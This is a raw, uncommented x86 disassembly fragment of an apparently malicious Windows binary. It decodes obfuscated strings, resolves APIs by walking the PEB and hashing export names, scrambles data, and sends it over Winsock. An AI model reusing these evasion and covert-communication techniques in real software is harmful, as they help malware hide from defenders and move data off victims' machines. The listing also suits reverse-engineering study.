call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x459f25
xor esi, esi
jmp 0x45c971
mov dword [ebp - 0x4d], 0x9c918997
xor ecx, ecx
mov dword [ebp - 0x49], 0xb3b3bbf1
mov byte [ebp - 0x45], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x4d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4d], al
inc ecx
cmp ecx, 8
jb 0x459f40
sub esp, 0x18
lea ecx, [ebp - 0x4d]
mov edx, esp
mov dword [ebp - 0x10], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459f77
sub ecx, esi
lea eax, [ebp - 0x4d]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 9
call fcn.0041d3b0
mov ecx, dword [0x53c124]
mov eax, 0x2aaaaaab
sub ecx, dword [0x53c120]
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x459fe4
push 0x64
call esi
mov ecx, dword [0x53c124]
mov eax, 0x2aaaaaab
sub ecx, dword [0x53c120]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x459fc1
push 2
push dword [0x539b3c]
mov byte [0x53bf29], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x539b3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop dword [eax + eax]
push 0x3e8
call esi
jmp 0x45a010
mov esi, dword [0x539b44]
mov edi, dword [0x539b40]
push 0
push 2
push esi
push edi
call fcn.004f67b0
mov ecx, dword [0x539b48]
sub ecx, eax
mov eax, dword [0x539b4c]
mov dword [ebp - 0x14], ecx
sbb eax, edx
mov dword [0x539b48], ecx
mov dword [ebp - 0x10], eax
xor ecx, edi
mov edx, dword [ebp - 0x10]
mov dword [0x539b4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x45a06e
add edi, dword [ebp - 0x14]
mov dword [0x539b40], edi
adc esi, edx
mov dword [0x539b44], esi
test esi, esi
jl 0x45a087
jg 0x45a07c
cmp edi, 0x186a0
jbe 0x45a087
xorps xmm0, xmm0
movlpd qword [0x539b40], xmm0
push 0xffffffffffffffa3
mov byte [0x53bf4c], 0
mov byte [ebp - 0xdf], 0
call fcn.00461130
lea ecx, [ebp - 0x524]
mov byte [ebp - 0xe0], al
call fcn.0040cb40
mov esi, eax
mov byte [ebp - 4], 0xd
push 0x1c
push 0xca5ab04c
call fcn.00408ca0
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x50c]
mov eax, dword [0x539b3c]
mov edx, esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xe0]
push eax
call fcn.004641d0
mov byte [ebp - 4], 0xe
mov edx, eax
push 0x539bbc
lea ecx, [ebp - 0x210]
call fcn.004643a0
add esp, 0x10
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x80]
call fcn.0045fe50
mov byte [ebp - 4], 0x11
xor esi, esi
cmp dword [ebp - 0x70], esi
jbe 0x45a243
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x80]
nop
cmp ecx, 0x10
lea eax, [ebp - 0x80]
cmovae eax, edx
xor byte [eax + esi], 0x36
lea eax, [ebp - 0x80]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
mov edx, dword [ebp - 0x80]
cmovae eax, edx
cmp byte [eax + esi], 0
lea eax, [ebp - 0x80]
jne 0x45a154
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0x55
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0x55
lea eax, [ebp - 0x80]
jne 0x45a172
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xff
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xff
lea eax, [ebp - 0x80]
jne 0x45a190
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xfd
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xfd
lea eax, [ebp - 0x80]
jne 0x45a1ae
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xde
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xde
lea eax, [ebp - 0x80]
jne 0x45a1c9
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 5
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 5
lea eax, [ebp - 0x80]
jne 0x45a1e4
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 1
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 1
lea eax, [ebp - 0x80]
jne 0x45a1ff
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0xa
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0xa
lea eax, [ebp - 0x80]
jne 0x45a21a
cmp ecx, 0x10
cmovae eax, edx
mov byte [eax + esi], 0x80
jmp 0x45a233
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0x80
jne 0x45a239
cmp ecx, 0x10
lea eax, [ebp - 0x80]
cmovae eax, edx
mov byte [eax + esi], 0
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x80]
inc esi
cmp esi, dword [ebp - 0x70]
jb 0x45a120
movups xmm0, xmmword [ebp - 0x80]
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0
movups xmmword [ebp - 0x2e8], xmm0
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [ebp - 0x70]
movq qword [ebp - 0x2d8], xmm0
mov esi, dword [ebp - 0x30]
or esi, 0x10
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
call fcn.00402890
movups xmm0, xmmword [ebp - 0x170]
and esi, 0xffffffef
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
movups xmmword [ebp - 0x210], xmm0
mov byte [ebp - 0x2e8], 0
movq xmm0, qword [ebp - 0x1c]
movq qword [ebp - 0x200], xmm0
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x24], 0x5406f
mov eax, dword [ebp - 0x24]
xor eax, 0xa
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor ecx, 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x44], 0xa
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x24], 0x6bc0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x168], 0x32e1
mov dword [ebp - 0x164], 0
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
add edx, eax
mov ecx, dword [ebp - 0x40]
adc esi, ecx
add edx, 1
mov dword [ebp - 0x24], edx
adc esi, 0
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
sub edx, eax
mov dword [ebp - 0x1c], edx
sbb esi, ecx
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
push eax
push ecx
push edx
push esi
call fcn.004bb600
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add ecx, dword [ebp - 0x200]
mov eax, dword [ebp - 0xc4]
cmp ecx, eax
ja 0x45a428
cmp dword [ebp - 0xc0], 0x10
lea eax, [ebp - 0xd4]
mov dword [ebp - 0xc4], ecx
cmovae eax, dword [ebp - 0xd4]
mov byte [eax + ecx], 0
jmp 0x45a438
sub ecx, eax
push 0
push ecx
lea ecx, [ebp - 0xd4]
call fcn.00462390
cmp dword [ebp - 0xc0], 0x10
lea eax, [ebp - 0xd4]
push 0x1c
cmovae eax, dword [ebp - 0xd4]
lea esi, [ebp - 0xd4]
push 0xca3f0980
mov dword [eax], 0xabbadaad
cmp dword [ebp - 0xc0], 0x10
mov edi, dword [ebp - 0x200]
cmovae esi, dword [ebp - 0xd4]
call fcn.00408ca0
push 0
push 0xcaf90db
mov dword [eax + esi], edi
lea esi, [ebp - 0xd4]
cmp dword [ebp - 0xc0], 0x10
cmovae esi, dword [ebp - 0xd4]
call fcn.00408de0
mov ecx, dword [ebp - 0x10]
add esp, 0x10
mov dword [eax + esi], ecx
cmp dword [ebp - 0x200], 0
je 0x45a5bd
cmp dword [ebp - 0x1fc], 0x10
lea eax, [ebp - 0x210]
mov dword [ebp - 0x1c], 0x5406f
lea edi, [ebp - 0xd4]
cmovae eax, dword [ebp - 0x210]
cmp dword [ebp - 0xc0], 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
cmovae edi, dword [ebp - 0xd4]
xor eax, 0xa
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xa4], eax
xor ecx, 0
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x168], 0xa
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x1c], 0x6bc0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x9c], 0x32e1
mov dword [ebp - 0x98], 0
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x168]
add edx, eax
mov ecx, dword [ebp - 0x164]
adc esi, ecx
add edx, 1
mov dword [ebp - 0x168], edx
adc esi, 0
mov dword [ebp - 0x164], esi
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xa0]
sub edx, eax
mov dword [ebp - 0x1c], edx
sbb esi, ecx
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x164]
push eax
push ecx
push edx
push esi
call fcn.004bb600
push dword [ebp - 0x200]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add ecx, edi
push ecx
call fcn.004d2ab0
add esp, 0xc
push 0x1c
push 0xca3f06ac
call fcn.00408ca0
mov ecx, dword [ebp - 0xc4]
mov esi, eax
add esp, 8
cmp esi, ecx
jae 0x45a612
mov edi, dword [sym.imp.WS2_32.dll_send]
nop
sub ecx, esi
lea eax, [ebp - 0xd4]
cmp dword [ebp - 0xc0], 0x10
push 0
cmovae eax, dword [ebp - 0xd4]
push ecx
add eax, esi
push eax
push dword [ebp - 0x14]
call edi
cmp eax, 0xffffffff
je 0x45a64c
mov ecx, dword [ebp - 0xc4]
add esi, eax
cmp esi, ecx
jb 0x45a5e0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x45a6b7
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a6ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9fa
jmp 0x45a6ad
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x45a68a
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a680
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9fa
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0xe
xor esi, esi
jmp 0x45a6db
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0xe
mov esi, 1
lea ecx, [ebp - 0x210]
call fcn.00402890
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x50c]
call fcn.00402890
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x524]
call fcn.00402890
test esi, esi
je 0x45a7c5
cmp byte [0x53bf4c], 0
jne 0x45a7c5
nop dword [eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45a797
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45a797
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45a78d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45a770
cmp esi, 0x2fa62ca8
je 0x45a79b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45a756
mov eax, dword [eax]
jmp 0x45a730
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x53bf4c], 0
je 0x45a720
call fcn.00408c80
mov eax, dword [0x539b40]
lea ecx, [ebp - 0x330]
xor dword [0x539b48], eax
mov edx, 0x539b74
mov eax, dword [0x539b44]
xor dword [0x539b4c], eax
call fcn.00419b20
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x1c0]
call fcn.0045fe50
mov byte [ebp - 4], 0x14
cmp dword [0x539b84], 0
jne 0x45a91c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
mov esi, dword [ebp - 0x1b0]
test esi, esi
jne 0x45a922
mov edx, 0x539b74
lea ecx, [ebp - 0x56c]
call fcn.00419b20
mov esi, eax
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x330]
cmp eax, esi
je 0x45a87d
mov ecx, eax
call fcn.00402890
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x330], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x320], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
add esi, 0x18
lea eax, [ebp - 0x318]
cmp eax, esi
je 0x45a8b9
mov ecx, eax
call fcn.00402890
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x318], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x308], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x554]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x56c]
call fcn.00402890
cmp dword [ebp - 0x31c], 0x10
lea eax, [ebp - 0x330]
push dword [ebp - 0x320]
cmovae eax, dword [ebp - 0x330]
lea ecx, [ebp - 0x1c0]
push eax
call fcn.0045fba0
push 0
push 0x1ddd673e
call fcn.00408de0
add esp, 8
push eax
call edi
cmp dword [0x539b84], 0
je 0x45a820
mov esi, dword [ebp - 0x1b0]
cmp dword [0x539b88], 0x10
mov eax, 0x539b74
push 0x5219e8
cmovae eax, dword [0x539b74]
push eax
call fcn.004d26a0
add esp, 8
test eax, eax
je 0x45aa97
xorps xmm0, xmm0
mov dword [ebp - 0x230], 0
movups xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x22c], 0xf
mov word [ebp - 0x240], 0x2e
mov byte [ebp - 4], 0x18
movups xmmword [ebp - 0x228], xmm0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 1
mov dword [ebp - 0x214], 0xf
mov word [ebp - 0x228], 0x3a
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x240]
push eax
lea edx, [ebp - 0x228]
mov ecx, 0x539b74
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x214]
cmp ecx, 0x10
jb 0x45aa1e
mov edx, dword [ebp - 0x228]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45aa14
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9f0
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0xf
mov byte [ebp - 0x228], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0x10
jb 0x45aa77
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45aa6d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9f0
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
jmp 0x45a922
mov word [ebp - 0x5f], 0x8a8d
xor ecx, ecx
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp + ecx - 0x5f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x5f], al
inc ecx
cmp ecx, 2
jb 0x45aaa3
xorps xmm0, xmm0
mov dword [ebp - 0x4cc], 0
lea ecx, [ebp - 0x5f]
mov dword [ebp - 0x4c8], 0
movups xmmword [ebp - 0x4dc], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aae0
sub ecx, edx
lea eax, [ebp - 0x5f]
push ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.00402aa0
mov byte [ebp - 4], 0x1a
xor ecx, ecx
mov word [ebp - 0x62], 0x8594
mov byte [ebp - 0x60], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x62]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x62], al
inc ecx
cmp ecx, 2
jb 0x45ab10
xorps xmm0, xmm0
mov dword [ebp - 0x4b4], 0
lea ecx, [ebp - 0x62]
mov dword [ebp - 0x4b0], 0
movups xmmword [ebp - 0x4c4], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ab50
sub ecx, edx
lea eax, [ebp - 0x62]
push ecx
push eax
lea ecx, [ebp - 0x4c4]
call fcn.00402aa0
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov word [ebp - 0x65], 0x869d
mov byte [ebp - 0x63], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x65]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x65], al
inc ecx
cmp ecx, 2
jb 0x45ab80
xorps xmm0, xmm0
mov dword [ebp - 0x49c], 0
lea ecx, [ebp - 0x65]
mov dword [ebp - 0x498], 0
movups xmmword [ebp - 0x4ac], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45abc0
sub ecx, edx
lea eax, [ebp - 0x65]
push ecx
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00402aa0
mov byte [ebp - 4], 0x1c
xor ecx, ecx
mov word [ebp - 0x8b], 0x929e
mov byte [ebp - 0x89], 0
nop
movzx eax, byte [ebp + ecx - 0x8b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x8b], al
inc ecx
cmp ecx, 2
jb 0x45abf0
xorps xmm0, xmm0
mov dword [ebp - 0x484], 0
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x480], 0
movups xmmword [ebp - 0x494], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ac32
sub ecx, edx
lea eax, [ebp - 0x8b]
push ecx
push eax
lea ecx, [ebp - 0x494]
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov word [ebp - 0x27], 0x858a
mov byte [ebp - 0x25], 0
nop
movzx eax, byte [ebp + ecx - 0x27]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 2
jb 0x45ac60
xorps xmm0, xmm0
mov dword [ebp - 0x46c], 0
lea ecx, [ebp - 0x27]
mov dword [ebp - 0x468], 0
movups xmmword [ebp - 0x47c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aca0
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x47c]
call fcn.00402aa0
mov byte [ebp - 4], 0x1e
xor ecx, ecx
mov word [ebp - 0x5b], 0x9b92
mov byte [ebp - 0x59], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x5b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 2
jb 0x45acd0
xorps xmm0, xmm0
mov dword [ebp - 0x454], 0
lea ecx, [ebp - 0x5b]
mov dword [ebp - 0x450], 0
movups xmmword [ebp - 0x464], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ad10
sub ecx, edx
lea eax, [ebp - 0x5b]
push ecx
push eax
lea ecx, [ebp - 0x464]
call fcn.00402aa0
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov word [ebp - 0x37], 0x9894
mov byte [ebp - 0x35], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 2
jb 0x45ad40
xorps xmm0, xmm0
mov dword [ebp - 0x43c], 0
lea ecx, [ebp - 0x37]
mov dword [ebp - 0x438], 0
movups xmmword [ebp - 0x44c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ad80
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x44c]
call fcn.00402aa0
mov byte [ebp - 4], 0x20
xor ecx, ecx
mov word [ebp - 0x3b], 0x958b
mov byte [ebp - 0x39], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x3b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 2
jb 0x45adb0
xorps xmm0, xmm0
mov dword [ebp - 0x424], 0
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0x420], 0
movups xmmword [ebp - 0x434], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45adf0
sub ecx, edx
lea eax, [ebp - 0x3b]
push ecx
push eax
lea ecx, [ebp - 0x434]
call fcn.00402aa0
mov byte [ebp - 4], 0x21
xor ecx, ecx
mov word [ebp - 0x33], 0x9e8a
mov byte [ebp - 0x31], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x33]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 2
jb 0x45ae20
xorps xmm0, xmm0
mov dword [ebp - 0x40c], 0
lea ecx, [ebp - 0x33]
mov dword [ebp - 0x408], 0
movups xmmword [ebp - 0x41c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ae60
sub ecx, edx
lea eax, [ebp - 0x33]
push ecx
push eax
lea ecx, [ebp - 0x41c]
call fcn.00402aa0
mov byte [ebp - 4], 0x22
xor ecx, ecx
mov word [ebp - 0x2b], 0x859e
mov byte [ebp - 0x29], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 2
jb 0x45ae90
xorps xmm0, xmm0
mov dword [ebp - 0x3f4], 0
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x3f0], 0
movups xmmword [ebp - 0x404], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45aed0
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x404]
call fcn.00402aa0
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
push 0x20
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1a0], 0
call fcn.004bad30
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [ebp - 0x1a4], eax
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0
mov byte [ebp - 4], 0x25
mov eax, dword [ebp - 0x1a4]
push 0x40
mov dword [ebp - 0x190], 7
mov dword [ebp - 0x18c], 8
mov dword [ebp - 0x1a8], 0x3f800000
mov dword [ebp - 0x2c], eax
call fcn.004bad30
mov edx, dword [ebp - 0x194]
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov edi, eax
sub edx, ecx
sar edx, 2
test edx, edx
je 0x45afbc
shl edx, 2
mov eax, ecx
cmp edx, 0x1000
jb 0x45afb2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9ff
push edx
push ecx
call fcn.004bafb1
add esp, 8
lea edx, [edi + 0x40]
mov dword [ebp - 0x19c], edi
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x198], edx
push eax
mov ecx, edi
mov dword [ebp - 0x194], edx
call fcn.004663a0
add esp, 4
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x4dc]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00465aa0
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x4dc]
push 0x402780
push 0xa
push 0x18
push eax
call fcn.004baff5
cmp dword [ebp - 0x1ac], 0x10
lea eax, [ebp - 0x1c0]
push esi
cmovae eax, dword [ebp - 0x1c0]
push eax
call fcn.0046def0
and eax, dword [ebp - 0x190]
add esp, 8
mov edi, dword [ebp - 0x19c]
mov esi, dword [edi + eax*8 + 4]
cmp esi, dword [ebp - 0x1a4]
je 0x45b07b
mov edi, dword [edi + eax*8]
lea edx, [esi + 8]
lea ecx, [ebp - 0x1c0]
call fcn.004644a0
test al, al
jne 0x45b07d
cmp esi, edi
je 0x45b07b
mov esi, dword [esi + 4]
lea ecx, [ebp - 0x1c0]
lea edx, [esi + 8]
call fcn.004644a0
test al, al
je 0x45b060
jmp 0x45b07d
xor esi, esi
test esi, esi
je 0x45b0e6
movaps xmm0, xmmword [0x527ba0]
xor ecx, ecx
movups xmmword [ebp - 0x343], xmm0
mov word [ebp - 0x333], 0xacac
mov byte [ebp - 0x331], 0
movzx eax, byte [ebp + ecx - 0x343]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x343], al
inc ecx
cmp ecx, 0x12
jb 0x45b0a1
push 0x5219ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x343]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45b0e6
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
call fcn.0041da30
call fcn.0041e020
call fcn.0041e610
call fcn.0041ec00
cmp byte [0x53c050], 1
jne 0x45b4d6
mov dword [ebp - 0x151], 0xbdbeadb8
xor ecx, ecx
mov dword [ebp - 0x14d], 0xadbcac80
mov dword [ebp - 0x149], 0xb1baba
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x151]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x151], al
inc ecx
cmp ecx, 0xb
jb 0x45b130
lea eax, [ebp - 0x151]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0x8e]
mov ecx, eax
